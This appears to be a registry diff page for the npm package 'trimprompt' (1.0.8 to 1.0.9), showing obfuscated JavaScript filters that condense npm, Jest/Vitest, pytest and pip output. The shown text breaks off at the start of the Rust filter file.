trimprompt 1.0.8 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4faa20=a0_0x4f54;(function(_0x298f02,_0x366f43){const _0x1e7c2c=a0_0x4f54,_0x31c6a1=_0x298f02();while(!![]){try{const _0x4d9a77=-parseInt(_0x1e7c2c(0x106))/0x1+-parseInt(_0x1e7c2c(0x108))/0x2+-parseInt(_0x1e7c2c(0x116))/0x3*(-parseInt(_0x1e7c2c(0x129))/0x4)+-parseInt(_0x1e7c2c(0x104))/0x5*(-parseInt(_0x1e7c2c(0x10d))/0x6)+parseInt(_0x1e7c2c(0x122))/0x7*(-parseInt(_0x1e7c2c(0x124))/0x8)+-parseInt(_0x1e7c2c(0x11c))/0x9*(-parseInt(_0x1e7c2c(0x10b))/0xa)+-parseInt(_0x1e7c2c(0x110))/0xb*(-parseInt(_0x1e7c2c(0x118))/0xc);if(_0x4d9a77===_0x366f43)break;else _0x31c6a1['push'](_0x31c6a1['shift']());}catch(_0x1fa0ce){_0x31c6a1['push'](_0x31c6a1['shift']());}}}(a0_0x1178,0xbde77));function a0_0x4f54(_0x24028c,_0x286667){const _0x11782f=a0_0x1178();return a0_0x4f54=function(_0x4f546d,_0x36424f){_0x4f546d=_0x4f546d-0xff;let _0x4611c8=_0x11782f[_0x4f546d];return _0x4611c8;},a0_0x4f54(_0x24028c,_0x286667);}Object[a0_0x4faa20(0x125)](exports,a0_0x4faa20(0x123),{'value':!![]}),exports[a0_0x4faa20(0x115)]=filterNpmInstall,exports[a0_0x4faa20(0x105)]=filterJestVitest;function filterNpmInstall(_0x5ee3b6){const _0x6e28a6=a0_0x4faa20,_0xef088=_0x5ee3b6[_0x6e28a6(0x113)](/\r/g,'\x0a'),_0x2e7a86=_0xef088[_0x6e28a6(0x11a)]('\x0a'),_0x1bfdbf=[];for(const _0x4d8191 of _0x2e7a86){const _0x5c2b94=_0x4d8191[_0x6e28a6(0x112)]();(_0x5c2b94[_0x6e28a6(0x128)](_0x6e28a6(0x119))||_0x5c2b94[_0x6e28a6(0x128)](_0x6e28a6(0x126))||_0x5c2b94[_0x6e28a6(0x128)](_0x6e28a6(0xff))||_0x5c2b94[_0x6e28a6(0x128)](_0x6e28a6(0x11b))||_0x5c2b94[_0x6e28a6(0x128)](_0x6e28a6(0x102)))&&(!_0x5c2b94[_0x6e28a6(0x128)]('%')&&!_0x5c2b94['startsWith']('⠋')&&!_0x5c2b94['startsWith']('⠙')&&_0x1bfdbf[_0x6e28a6(0x127)](_0x5c2b94));}const _0x1dfa79=_0x1bfdbf[_0x6e28a6(0x120)]('\x0a')[_0x6e28a6(0x112)]();return _0x1dfa79[_0x6e28a6(0x11f)]>0x0?_0x1dfa79:_0x6e28a6(0x10c);}function a0_0x1178(){const _0x450248=['Test\x20Suites:','filterNpmInstall','4585539lBcEUw','\x20passed','452208hSyQES','added\x20','split','up\x20to\x20date','6598071nqwPiJ','\x0aFailures:','\x20failed\x20(','length','join','\x20\x20...\x20(','14PwRYbd','__esModule','5912584yNXkqr','defineProperty','removed\x20','push','includes','4PAjgAa','audited\x20','\x20total)','Tests:','found\x20','Test\x20Runner:\x20','915JukgGy','filterJestVitest','1026534YYGyht','match','1770738SqiWba','PASS','FAIL','20OdbBOG','NPM:\x20Packages\x20verified/installed\x20successfully','162udBtTH','\x20lines\x20of\x20trace\x20details\x20truncated)','startsWith','341YxRxhz','FAIL\x20\x20','trim','replace'];a0_0x1178=function(){return _0x450248;};return a0_0x1178();}function filterJestVitest(_0x59f00e){const _0xe170f9=a0_0x4faa20,_0x332ab3=_0x59f00e['split']('\x0a');let _0x3f17a5=0x0,_0x35f568=0x0,_0xfe71a=0x0;const _0x10635f=[];let _0x2db676=![];for(const _0x4548d2 of _0x332ab3){const _0x4e6589=_0x4548d2[_0xe170f9(0x112)]();if(_0x4e6589['startsWith'](_0xe170f9(0x101))||_0x4e6589[_0xe170f9(0x128)]('Test\x20Files:')){const _0x327c9d=_0x4e6589[_0xe170f9(0x107)](/(\d+)\s+passed/),_0x24cec1=_0x4e6589[_0xe170f9(0x107)](/(\d+)\s+failed/),_0x2fd546=_0x4e6589['match'](/(\d+)\s+total/);if(_0x327c9d)_0x3f17a5=parseInt(_0x327c9d[0x1]);if(_0x24cec1)_0x35f568=parseInt(_0x24cec1[0x1]);if(_0x2fd546)_0xfe71a=parseInt(_0x2fd546[0x1]);continue;}(_0x4e6589[_0xe170f9(0x10f)]('❯')||_0x4e6589[_0xe170f9(0x10f)]('●')||_0x4e6589[_0xe170f9(0x10f)](_0xe170f9(0x111)))&&(_0x2db676=!![]),_0x2db676&&(_0x4e6589[_0xe170f9(0x11f)]>0x0&&!_0x4e6589[_0xe170f9(0x10f)](_0xe170f9(0x114))&&!_0x4e6589[_0xe170f9(0x10f)](_0xe170f9(0x101))&&_0x10635f['push'](_0x4548d2));}if(_0xfe71a===0x0&&_0x3f17a5===0x0&&_0x35f568===0x0){if(_0x59f00e[_0xe170f9(0x128)](_0xe170f9(0x109))&&!_0x59f00e[_0xe170f9(0x128)](_0xe170f9(0x10a))){const _0x234717=_0x59f00e[_0xe170f9(0x107)](/(\d+)\s+passed/),_0x2aa4d7=_0x234717?_0x234717[0x1]:'all';return _0xe170f9(0x103)+_0x2aa4d7+_0xe170f9(0x117);}return _0x59f00e;}if(_0x35f568===0x0&&_0x3f17a5>0x0)return _0xe170f9(0x103)+_0x3f17a5+'\x20passed';const _0x29c902=[_0xe170f9(0x103)+_0x3f17a5+'\x20passed,\x20'+_0x35f568+_0xe170f9(0x11e)+_0xfe71a+_0xe170f9(0x100)];if(_0x10635f['length']>0x0){_0x29c902[_0xe170f9(0x127)](_0xe170f9(0x11d));const _0x58884f=0x19,_0x392dfd=_0x10635f['slice'](0x0,_0x58884f);for(const _0x5279f0 of _0x392dfd){_0x29c902[_0xe170f9(0x127)]('\x20\x20'+_0x5279f0);}_0x10635f[_0xe170f9(0x11f)]>_0x58884f&&_0x29c902[_0xe170f9(0x127)](_0xe170f9(0x121)+(_0x10635f[_0xe170f9(0x11f)]-_0x58884f)+_0xe170f9(0x10e));}return _0x29c902[_0xe170f9(0x120)]('\x0a');}
1
+ 'use strict';function a0_0x4056(){const _0xe27cb4=['12jUkcLk','8898030dQIWOU','startsWith','2128920eWERPD','found\x20','Tests:','5408575xlMIkh','trim','FAIL\x20\x20','filterNpmInstall','includes','\x20passed,\x20','2786782GLzUyt','audited\x20','\x20failed\x20(','\x0aFailures:','Test\x20Runner:\x20','length','Test\x20Files:','slice','\x20passed','push','added\x20','removed\x20','up\x20to\x20date','Test\x20Suites:','1053171NPUvNx','join','\x20lines\x20of\x20trace\x20details\x20truncated)','match','4791913btsXay','NPM:\x20Packages\x20verified/installed\x20successfully','3tJVrrX','923896DisCGv'];a0_0x4056=function(){return _0xe27cb4;};return a0_0x4056();}const a0_0xccefa6=a0_0x5381;(function(_0x37d94e,_0x2c659e){const _0x1fb99c=a0_0x5381,_0x47cdfa=_0x37d94e();while(!![]){try{const _0x574f68=-parseInt(_0x1fb99c(0x1c2))/0x1+-parseInt(_0x1fb99c(0x1d6))/0x2+parseInt(_0x1fb99c(0x1c8))/0x3*(parseInt(_0x1fb99c(0x1c9))/0x4)+parseInt(_0x1fb99c(0x1d0))/0x5+-parseInt(_0x1fb99c(0x1ca))/0x6*(-parseInt(_0x1fb99c(0x1c6))/0x7)+-parseInt(_0x1fb99c(0x1cd))/0x8+parseInt(_0x1fb99c(0x1cb))/0x9;if(_0x574f68===_0x2c659e)break;else _0x47cdfa['push'](_0x47cdfa['shift']());}catch(_0x279d0d){_0x47cdfa['push'](_0x47cdfa['shift']());}}}(a0_0x4056,0xe9d68));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0xccefa6(0x1d3)]=filterNpmInstall,exports['filterJestVitest']=filterJestVitest;function a0_0x5381(_0xe0c865,_0x32fbdf){_0xe0c865=_0xe0c865-0x1c2;const _0x405652=a0_0x4056();let _0x538181=_0x405652[_0xe0c865];return _0x538181;}function filterNpmInstall(_0xaca369){const _0x5b1681=a0_0xccefa6,_0x587b97=_0xaca369['replace'](/\r/g,'\x0a'),_0x4934f1=_0x587b97['split']('\x0a'),_0x406eb1=[];for(const _0x3db9a7 of _0x4934f1){const _0x14ad2e=_0x3db9a7['trim']();(_0x14ad2e['includes'](_0x5b1681(0x1e0))||_0x14ad2e[_0x5b1681(0x1d4)](_0x5b1681(0x1e1))||_0x14ad2e['includes'](_0x5b1681(0x1d7))||_0x14ad2e[_0x5b1681(0x1d4)](_0x5b1681(0x1e2))||_0x14ad2e[_0x5b1681(0x1d4)](_0x5b1681(0x1ce)))&&(!_0x14ad2e[_0x5b1681(0x1d4)]('%')&&!_0x14ad2e[_0x5b1681(0x1cc)]('⠋')&&!_0x14ad2e[_0x5b1681(0x1cc)]('⠙')&&_0x406eb1[_0x5b1681(0x1df)](_0x14ad2e));}const _0x55a607=_0x406eb1[_0x5b1681(0x1c3)]('\x0a')['trim']();return _0x55a607['length']>0x0?_0x55a607:_0x5b1681(0x1c7);}function filterJestVitest(_0x24ea36){const _0x2170b5=a0_0xccefa6,_0x43fb84=_0x24ea36['split']('\x0a');let _0x7fec24=0x0,_0x3cf6bd=0x0,_0x26dccd=0x0;const _0x250cb7=[];let _0x1d05c1=![];for(const _0x423949 of _0x43fb84){const _0x3a8238=_0x423949[_0x2170b5(0x1d1)]();if(_0x3a8238[_0x2170b5(0x1cc)]('Tests:')||_0x3a8238['includes'](_0x2170b5(0x1dc))){const _0x32ca70=_0x3a8238[_0x2170b5(0x1c5)](/(\d+)\s+passed/),_0x3be6a1=_0x3a8238[_0x2170b5(0x1c5)](/(\d+)\s+failed/),_0x5a2b1b=_0x3a8238[_0x2170b5(0x1c5)](/(\d+)\s+total/);if(_0x32ca70)_0x7fec24=parseInt(_0x32ca70[0x1]);if(_0x3be6a1)_0x3cf6bd=parseInt(_0x3be6a1[0x1]);if(_0x5a2b1b)_0x26dccd=parseInt(_0x5a2b1b[0x1]);continue;}(_0x3a8238[_0x2170b5(0x1cc)]('❯')||_0x3a8238[_0x2170b5(0x1cc)]('●')||_0x3a8238['startsWith'](_0x2170b5(0x1d2)))&&(_0x1d05c1=!![]),_0x1d05c1&&(_0x3a8238[_0x2170b5(0x1db)]>0x0&&!_0x3a8238[_0x2170b5(0x1cc)](_0x2170b5(0x1e3))&&!_0x3a8238[_0x2170b5(0x1cc)](_0x2170b5(0x1cf))&&_0x250cb7[_0x2170b5(0x1df)](_0x423949));}if(_0x26dccd===0x0&&_0x7fec24===0x0&&_0x3cf6bd===0x0){if(_0x24ea36[_0x2170b5(0x1d4)]('PASS')&&!_0x24ea36[_0x2170b5(0x1d4)]('FAIL')){const _0xc852ee=_0x24ea36['match'](/(\d+)\s+passed/),_0x369d2f=_0xc852ee?_0xc852ee[0x1]:'all';return _0x2170b5(0x1da)+_0x369d2f+_0x2170b5(0x1de);}return _0x24ea36;}if(_0x3cf6bd===0x0&&_0x7fec24>0x0)return'Test\x20Runner:\x20'+_0x7fec24+_0x2170b5(0x1de);const _0x5b4b88=[_0x2170b5(0x1da)+_0x7fec24+_0x2170b5(0x1d5)+_0x3cf6bd+_0x2170b5(0x1d8)+_0x26dccd+'\x20total)'];if(_0x250cb7[_0x2170b5(0x1db)]>0x0){_0x5b4b88[_0x2170b5(0x1df)](_0x2170b5(0x1d9));const _0x3c0988=0x19,_0x256790=_0x250cb7[_0x2170b5(0x1dd)](0x0,_0x3c0988);for(const _0x37471d of _0x256790){_0x5b4b88[_0x2170b5(0x1df)]('\x20\x20'+_0x37471d);}_0x250cb7[_0x2170b5(0x1db)]>_0x3c0988&&_0x5b4b88['push']('\x20\x20...\x20('+(_0x250cb7[_0x2170b5(0x1db)]-_0x3c0988)+_0x2170b5(0x1c4));}return _0x5b4b88[_0x2170b5(0x1c3)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x4d73(){const _0x251b84=['filterPytest','failed','\x20\x20\x20\x20...\x20(','push','E\x20\x20\x20','.\x20[FAIL]\x20','__esModule','1009348XGGrKo','slice','9502190dflqAO','\x20failed','\x20\x20\x20\x20','\x0aFailures:','filterPipInstall','1000156xMGEZB','Using\x20cached','length','292860cyPePZ','1905642EhtRup','Collecting','\x20xfailed','25BNWmSJ','AssertionError:','510660HDFyYk','join','.py:','Successfully\x20installed','3RseVUr','Pytest:\x20','includes','1169syLREM','split','\x20more\x20failures\x20truncated','1128pClDpC','\x20lines\x20of\x20stacktrace\x20truncated)','===\x20FAILURES\x20===','192gScNIs','Requirement\x20already\x20satisfied','===','407fEyLWj','\x20skipped','startsWith','passed','___','trim','match'];a0_0x4d73=function(){return _0x251b84;};return a0_0x4d73();}const a0_0xf55e34=a0_0x2193;(function(_0x2cb444,_0x5ba2d8){const _0x450a56=a0_0x2193,_0x49be88=_0x2cb444();while(!![]){try{const _0x4b7c1d=parseInt(_0x450a56(0x1bb))/0x1*(parseInt(_0x450a56(0x1d5))/0x2)+parseInt(_0x450a56(0x1b2))/0x3+parseInt(_0x450a56(0x1ae))/0x4*(-parseInt(_0x450a56(0x1b5))/0x5)+-parseInt(_0x450a56(0x1c1))/0x6*(-parseInt(_0x450a56(0x1be))/0x7)+parseInt(_0x450a56(0x1c4))/0x8*(-parseInt(_0x450a56(0x1b1))/0x9)+-parseInt(_0x450a56(0x1d7))/0xa+parseInt(_0x450a56(0x1c7))/0xb*(parseInt(_0x450a56(0x1b7))/0xc);if(_0x4b7c1d===_0x5ba2d8)break;else _0x49be88['push'](_0x49be88['shift']());}catch(_0xe80af6){_0x49be88['push'](_0x49be88['shift']());}}}(a0_0x4d73,0xbcea1));Object['defineProperty'](exports,a0_0xf55e34(0x1d4),{'value':!![]}),exports[a0_0xf55e34(0x1ce)]=filterPytest,exports[a0_0xf55e34(0x1ad)]=filterPipInstall;function a0_0x2193(_0x5345bb,_0x59c1db){const _0x4d735b=a0_0x4d73();return a0_0x2193=function(_0x219331,_0x1e7d84){_0x219331=_0x219331-0x1ac;let _0x3db726=_0x4d735b[_0x219331];return _0x3db726;},a0_0x2193(_0x5345bb,_0x59c1db);}function filterPytest(_0x1a6384){const _0x8314c2=a0_0xf55e34,_0x5c4320=_0x1a6384[_0x8314c2(0x1bf)]('\x0a');let _0x3e4091=0x0,_0x29ff19=0x0,_0x12bccc=0x0,_0x249a7e=0x0,_0x5876fc=0x0;const _0x21dcab=[];let _0x417434=[],_0x2df210=![];for(const _0x541dcc of _0x5c4320){const _0x3c54ae=_0x541dcc[_0x8314c2(0x1cc)]();if(_0x3c54ae[_0x8314c2(0x1c9)](_0x8314c2(0x1c3))||_0x3c54ae['startsWith']('===\x20ERRORS\x20===')){_0x2df210=!![];continue;}else(_0x3c54ae['startsWith']('===\x20short\x20test\x20summary\x20info\x20===')||_0x3c54ae[_0x8314c2(0x1c9)](_0x8314c2(0x1c6))&&_0x3c54ae[_0x8314c2(0x1bd)]('passed'))&&(_0x2df210=![],_0x417434[_0x8314c2(0x1b0)]>0x0&&(_0x21dcab[_0x8314c2(0x1d1)](_0x417434),_0x417434=[]));if(_0x2df210){if(_0x3c54ae['startsWith'](_0x8314c2(0x1cb)))_0x417434[_0x8314c2(0x1b0)]>0x0&&(_0x21dcab['push'](_0x417434),_0x417434=[]),_0x417434[_0x8314c2(0x1d1)](_0x3c54ae);else _0x3c54ae[_0x8314c2(0x1b0)]>0x0&&_0x417434['push'](_0x541dcc);continue;}if(_0x3c54ae['startsWith']('===')&&_0x3c54ae['includes']('\x20in\x20')){const _0x22adce=_0x3c54ae[_0x8314c2(0x1cd)](/(\d+)\s+passed/),_0x48ead3=_0x3c54ae['match'](/(\d+)\s+failed/),_0x1c1aa1=_0x3c54ae[_0x8314c2(0x1cd)](/(\d+)\s+skipped/),_0x58a5d4=_0x3c54ae[_0x8314c2(0x1cd)](/(\d+)\s+xfailed/),_0x45aacf=_0x3c54ae[_0x8314c2(0x1cd)](/(\d+)\s+xpassed/);if(_0x22adce)_0x3e4091=parseInt(_0x22adce[0x1]);if(_0x48ead3)_0x29ff19=parseInt(_0x48ead3[0x1]);if(_0x1c1aa1)_0x12bccc=parseInt(_0x1c1aa1[0x1]);if(_0x58a5d4)_0x249a7e=parseInt(_0x58a5d4[0x1]);if(_0x45aacf)_0x5876fc=parseInt(_0x45aacf[0x1]);}}_0x417434[_0x8314c2(0x1b0)]>0x0&&_0x21dcab[_0x8314c2(0x1d1)](_0x417434);if(_0x3e4091===0x0&&_0x29ff19===0x0&&_0x12bccc===0x0&&_0x249a7e===0x0&&_0x5876fc===0x0){if(_0x1a6384[_0x8314c2(0x1bd)](_0x8314c2(0x1ca))&&!_0x1a6384[_0x8314c2(0x1bd)](_0x8314c2(0x1cf)))return'Pytest:\x20All\x20tests\x20passed';return _0x1a6384;}if(_0x29ff19===0x0&&_0x3e4091>0x0&&_0x12bccc===0x0&&_0x249a7e===0x0&&_0x5876fc===0x0)return _0x8314c2(0x1bc)+_0x3e4091+'\x20passed';const _0x44bbdc=[];_0x44bbdc[_0x8314c2(0x1d1)]('Pytest:\x20'+_0x3e4091+'\x20passed');if(_0x29ff19>0x0)_0x44bbdc[_0x8314c2(0x1d1)](_0x29ff19+_0x8314c2(0x1d8));if(_0x12bccc>0x0)_0x44bbdc[_0x8314c2(0x1d1)](_0x12bccc+_0x8314c2(0x1c8));if(_0x249a7e>0x0)_0x44bbdc['push'](_0x249a7e+_0x8314c2(0x1b4));if(_0x5876fc>0x0)_0x44bbdc['push'](_0x5876fc+'\x20xpassed\x20(warning!)');const _0x1a7534=[_0x44bbdc['join'](',\x20')];if(_0x21dcab[_0x8314c2(0x1b0)]>0x0){_0x1a7534['push'](_0x8314c2(0x1ac));const _0x669534=0x3,_0x5eb1d3=_0x21dcab[_0x8314c2(0x1d6)](0x0,_0x669534);for(let _0x286d00=0x0;_0x286d00<_0x5eb1d3['length'];_0x286d00++){const _0x188628=_0x5eb1d3[_0x286d00],_0x267cca=_0x188628[0x0]['replace'](/_/g,'')[_0x8314c2(0x1cc)]();_0x1a7534[_0x8314c2(0x1d1)]('\x20\x20'+(_0x286d00+0x1)+_0x8314c2(0x1d3)+_0x267cca);const _0x39c898=_0x188628[_0x8314c2(0x1d6)](0x1),_0xe5109=_0x39c898['filter'](_0x1b8705=>{const _0x44a917=_0x8314c2,_0x28816f=_0x1b8705['trim']();return _0x28816f[_0x44a917(0x1c9)]('>')||_0x28816f[_0x44a917(0x1c9)](_0x44a917(0x1d2))||_0x28816f[_0x44a917(0x1bd)](_0x44a917(0x1b9))||_0x28816f[_0x44a917(0x1bd)](_0x44a917(0x1b6));});for(const _0x161dcf of _0xe5109[_0x8314c2(0x1d6)](0x0,0x8)){_0x1a7534[_0x8314c2(0x1d1)](_0x8314c2(0x1d9)+_0x161dcf);}_0xe5109[_0x8314c2(0x1b0)]>0x8&&_0x1a7534['push'](_0x8314c2(0x1d0)+(_0xe5109[_0x8314c2(0x1b0)]-0x8)+_0x8314c2(0x1c2));}_0x21dcab[_0x8314c2(0x1b0)]>_0x669534&&_0x1a7534[_0x8314c2(0x1d1)]('\x20\x20...\x20+'+(_0x21dcab['length']-_0x669534)+_0x8314c2(0x1c0));}return _0x1a7534[_0x8314c2(0x1b8)]('\x0a');}function filterPipInstall(_0xd585d3){const _0x29ae86=a0_0xf55e34,_0x3e4b5b=_0xd585d3[_0x29ae86(0x1bf)]('\x0a'),_0x58c29f=[];for(const _0x41d73c of _0x3e4b5b){const _0xa660cc=_0x41d73c[_0x29ae86(0x1cc)]();_0xa660cc[_0x29ae86(0x1c9)](_0x29ae86(0x1ba))&&_0x58c29f[_0x29ae86(0x1d1)](_0xa660cc);}if(_0x58c29f[_0x29ae86(0x1b0)]>0x0)return _0x58c29f[_0x29ae86(0x1b8)]('\x0a');return _0x3e4b5b['filter'](_0x22d645=>{const _0x42447d=_0x29ae86,_0x24f78d=_0x22d645[_0x42447d(0x1cc)]();return!_0x24f78d[_0x42447d(0x1c9)](_0x42447d(0x1b3))&&!_0x24f78d[_0x42447d(0x1c9)]('Downloading')&&!_0x24f78d[_0x42447d(0x1bd)](_0x42447d(0x1af))&&!_0x24f78d[_0x42447d(0x1c9)](_0x42447d(0x1c5));})[_0x29ae86(0x1b8)]('\x0a')[_0x29ae86(0x1cc)]();}
1
+ 'use strict';const a0_0x1df4dc=a0_0x5111;(function(_0x12d86a,_0x26f53a){const _0x42ab2e=a0_0x5111,_0x331c7e=_0x12d86a();while(!![]){try{const _0x10a5e7=-parseInt(_0x42ab2e(0x189))/0x1*(parseInt(_0x42ab2e(0x1ab))/0x2)+parseInt(_0x42ab2e(0x1a2))/0x3+-parseInt(_0x42ab2e(0x188))/0x4*(-parseInt(_0x42ab2e(0x18c))/0x5)+-parseInt(_0x42ab2e(0x199))/0x6+-parseInt(_0x42ab2e(0x18e))/0x7*(-parseInt(_0x42ab2e(0x191))/0x8)+parseInt(_0x42ab2e(0x18f))/0x9+-parseInt(_0x42ab2e(0x18d))/0xa*(parseInt(_0x42ab2e(0x197))/0xb);if(_0x10a5e7===_0x26f53a)break;else _0x331c7e['push'](_0x331c7e['shift']());}catch(_0x49f5b8){_0x331c7e['push'](_0x331c7e['shift']());}}}(a0_0x5577,0x5e0c4));function a0_0x5577(){const _0x4bec8d=['.py:','Collecting','defineProperty','Successfully\x20installed','slice','\x0aFailures:','356282wbfdYr','\x20skipped','AssertionError:','E\x20\x20\x20','startsWith','\x20\x20\x20\x20','passed','\x20passed','\x20more\x20failures\x20truncated','filter','===\x20short\x20test\x20summary\x20info\x20===','2016652ZlmHLQ','1TLVPHq','\x20failed','length','5CpHrJS','8530NxJlaS','3621562TlsJfI','6263469wdEHHs','join','8exIJCh','===','split','trim','push','Requirement\x20already\x20satisfied','14971oqNnLI','\x20in\x20','4327482NocykY','\x20xpassed\x20(warning!)','match','filterPipInstall','\x20\x20\x20\x20...\x20(','includes','__esModule','Downloading','___','2184213iRIdlY','Pytest:\x20','\x20xfailed'];a0_0x5577=function(){return _0x4bec8d;};return a0_0x5577();}function a0_0x5111(_0x9cd753,_0x59713e){_0x9cd753=_0x9cd753-0x17e;const _0x5577dc=a0_0x5577();let _0x5111b1=_0x5577dc[_0x9cd753];return _0x5111b1;}Object[a0_0x1df4dc(0x1a7)](exports,a0_0x1df4dc(0x19f),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x1df4dc(0x19c)]=filterPipInstall;function filterPytest(_0xe15303){const _0x45148c=a0_0x1df4dc,_0x565e84=_0xe15303[_0x45148c(0x193)]('\x0a');let _0x593fd1=0x0,_0xa76707=0x0,_0x2049c8=0x0,_0x25b1ad=0x0,_0x5b7a57=0x0;const _0x579c70=[];let _0x279dd2=[],_0x47fabd=![];for(const _0xd49430 of _0x565e84){const _0x37a05a=_0xd49430[_0x45148c(0x194)]();if(_0x37a05a[_0x45148c(0x181)]('===\x20FAILURES\x20===')||_0x37a05a[_0x45148c(0x181)]('===\x20ERRORS\x20===')){_0x47fabd=!![];continue;}else(_0x37a05a[_0x45148c(0x181)](_0x45148c(0x187))||_0x37a05a[_0x45148c(0x181)](_0x45148c(0x192))&&_0x37a05a[_0x45148c(0x19e)]('passed'))&&(_0x47fabd=![],_0x279dd2[_0x45148c(0x18b)]>0x0&&(_0x579c70[_0x45148c(0x195)](_0x279dd2),_0x279dd2=[]));if(_0x47fabd){if(_0x37a05a['startsWith'](_0x45148c(0x1a1)))_0x279dd2[_0x45148c(0x18b)]>0x0&&(_0x579c70['push'](_0x279dd2),_0x279dd2=[]),_0x279dd2[_0x45148c(0x195)](_0x37a05a);else _0x37a05a['length']>0x0&&_0x279dd2['push'](_0xd49430);continue;}if(_0x37a05a['startsWith'](_0x45148c(0x192))&&_0x37a05a[_0x45148c(0x19e)](_0x45148c(0x198))){const _0x4b7a55=_0x37a05a[_0x45148c(0x19b)](/(\d+)\s+passed/),_0x3918ec=_0x37a05a[_0x45148c(0x19b)](/(\d+)\s+failed/),_0x271e5b=_0x37a05a['match'](/(\d+)\s+skipped/),_0x1b461e=_0x37a05a[_0x45148c(0x19b)](/(\d+)\s+xfailed/),_0x3056a7=_0x37a05a[_0x45148c(0x19b)](/(\d+)\s+xpassed/);if(_0x4b7a55)_0x593fd1=parseInt(_0x4b7a55[0x1]);if(_0x3918ec)_0xa76707=parseInt(_0x3918ec[0x1]);if(_0x271e5b)_0x2049c8=parseInt(_0x271e5b[0x1]);if(_0x1b461e)_0x25b1ad=parseInt(_0x1b461e[0x1]);if(_0x3056a7)_0x5b7a57=parseInt(_0x3056a7[0x1]);}}_0x279dd2['length']>0x0&&_0x579c70[_0x45148c(0x195)](_0x279dd2);if(_0x593fd1===0x0&&_0xa76707===0x0&&_0x2049c8===0x0&&_0x25b1ad===0x0&&_0x5b7a57===0x0){if(_0xe15303[_0x45148c(0x19e)](_0x45148c(0x183))&&!_0xe15303[_0x45148c(0x19e)]('failed'))return'Pytest:\x20All\x20tests\x20passed';return _0xe15303;}if(_0xa76707===0x0&&_0x593fd1>0x0&&_0x2049c8===0x0&&_0x25b1ad===0x0&&_0x5b7a57===0x0)return _0x45148c(0x1a3)+_0x593fd1+_0x45148c(0x184);const _0x20db09=[];_0x20db09['push']('Pytest:\x20'+_0x593fd1+_0x45148c(0x184));if(_0xa76707>0x0)_0x20db09[_0x45148c(0x195)](_0xa76707+_0x45148c(0x18a));if(_0x2049c8>0x0)_0x20db09[_0x45148c(0x195)](_0x2049c8+_0x45148c(0x17e));if(_0x25b1ad>0x0)_0x20db09[_0x45148c(0x195)](_0x25b1ad+_0x45148c(0x1a4));if(_0x5b7a57>0x0)_0x20db09[_0x45148c(0x195)](_0x5b7a57+_0x45148c(0x19a));const _0x39fc86=[_0x20db09['join'](',\x20')];if(_0x579c70[_0x45148c(0x18b)]>0x0){_0x39fc86['push'](_0x45148c(0x1aa));const _0x16d5f7=0x3,_0x214f09=_0x579c70[_0x45148c(0x1a9)](0x0,_0x16d5f7);for(let _0x336e23=0x0;_0x336e23<_0x214f09[_0x45148c(0x18b)];_0x336e23++){const _0x3271bf=_0x214f09[_0x336e23],_0x4de819=_0x3271bf[0x0]['replace'](/_/g,'')[_0x45148c(0x194)]();_0x39fc86[_0x45148c(0x195)]('\x20\x20'+(_0x336e23+0x1)+'.\x20[FAIL]\x20'+_0x4de819);const _0x9e055e=_0x3271bf[_0x45148c(0x1a9)](0x1),_0x1154b9=_0x9e055e[_0x45148c(0x186)](_0x33d9dc=>{const _0x4a3c9f=_0x45148c,_0x3560e3=_0x33d9dc[_0x4a3c9f(0x194)]();return _0x3560e3[_0x4a3c9f(0x181)]('>')||_0x3560e3[_0x4a3c9f(0x181)](_0x4a3c9f(0x180))||_0x3560e3[_0x4a3c9f(0x19e)](_0x4a3c9f(0x1a5))||_0x3560e3[_0x4a3c9f(0x19e)](_0x4a3c9f(0x17f));});for(const _0x1d8e09 of _0x1154b9[_0x45148c(0x1a9)](0x0,0x8)){_0x39fc86[_0x45148c(0x195)](_0x45148c(0x182)+_0x1d8e09);}_0x1154b9[_0x45148c(0x18b)]>0x8&&_0x39fc86['push'](_0x45148c(0x19d)+(_0x1154b9[_0x45148c(0x18b)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x579c70['length']>_0x16d5f7&&_0x39fc86[_0x45148c(0x195)]('\x20\x20...\x20+'+(_0x579c70[_0x45148c(0x18b)]-_0x16d5f7)+_0x45148c(0x185));}return _0x39fc86[_0x45148c(0x190)]('\x0a');}function filterPipInstall(_0x34d763){const _0x449356=a0_0x1df4dc,_0xfeebcb=_0x34d763['split']('\x0a'),_0x401c06=[];for(const _0x3acc59 of _0xfeebcb){const _0x5248be=_0x3acc59[_0x449356(0x194)]();_0x5248be[_0x449356(0x181)](_0x449356(0x1a8))&&_0x401c06[_0x449356(0x195)](_0x5248be);}if(_0x401c06[_0x449356(0x18b)]>0x0)return _0x401c06[_0x449356(0x190)]('\x0a');return _0xfeebcb[_0x449356(0x186)](_0x4ed4f4=>{const _0x107c16=_0x449356,_0x227274=_0x4ed4f4[_0x107c16(0x194)]();return!_0x227274['startsWith'](_0x107c16(0x1a6))&&!_0x227274[_0x107c16(0x181)](_0x107c16(0x1a0))&&!_0x227274['includes']('Using\x20cached')&&!_0x227274[_0x107c16(0x181)](_0x107c16(0x196));})[_0x449356(0x190)]('\x0a')['trim']();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x13dc(_0x4917b7,_0x1622d0){const _0x2ae693=a0_0x2ae6();return a0_0x13dc=function(_0x13dcfc,_0x617d15){_0x13dcfc=_0x13dcfc-0x1a4;let _0x21d56f=_0x2ae693[_0x13dcfc];return _0x21d56f;},a0_0x13dc(_0x4917b7,_0x1622d0);}const a0_0x4873f9=a0_0x13dc;(function(_0x27785c,_0x5d674a){const _0x58d1ab=a0_0x13dc,_0x455b6b=_0x27785c();while(!![]){try{const 